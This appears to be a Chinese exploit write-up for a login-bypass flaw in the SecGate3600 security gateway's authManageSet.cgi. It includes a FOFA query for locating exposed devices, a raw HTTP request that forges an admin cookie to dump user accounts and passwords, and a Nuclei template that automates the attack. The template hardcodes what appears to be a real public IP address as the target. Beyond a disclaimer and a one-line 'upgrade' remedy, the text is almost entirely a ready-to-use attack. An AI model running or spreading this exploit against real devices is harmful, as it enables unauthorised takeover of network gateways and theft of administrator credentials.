奇安信网神 SecGate3600-authManageSet.cgi登录绕过漏洞

免责声明：文章来源互联网收集整理，请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

Ⅰ、漏洞描述

SecGate3600是网神信息技术(北京)股份有限公司旗下一款安全网关产品，网神 SecGate3600 存在登录绕过漏洞，攻击者利用该漏洞可获取管理员密码等敏感信息，进一步控制系统。

Ⅱ、fofa语句

body="sec_gate_image/login_02.gif"

Ⅲ、漏洞复现

POC

POST /cgi-bin/authUser/authManageSet.cgi HTTP/1.1
Host:127.0.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: sw_login_name=admin
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

type=getAllUsers&_search=false&nd=1645000391264&rows=-1&page=1&sidx=&sord=asc

1、构建poc

2、登录成功

Ⅳ、Nuclei-POC

id: SecGate3600-authManageSet-cgi-login-bypass

info:
  name: Template Name
  author: WLF
  severity: high
  description: SecGate3600存在登录绕过漏洞，攻击者利用该漏洞可获取管理员密码等敏感信息
  reference:
    - https://
  tags: SecGate3600,bypass

http:
  - raw:
      - |-
        POST /cgi-bin/authUser/authManageSet.cgi HTTP/1.1
        Host:112.66.164.36:8889
        Content-Type: application/x-www-form-urlencoded
        Cookie: sw_login_name=admin
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
        Content-Length: 77

        type=getAllUsers&_search=false&nd=1645000391264&rows=-1&page=1&sidx=&sord=asc

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - cell
      - type: status
        status:
          - 200

Ⅴ、修复建议

升级至安全版本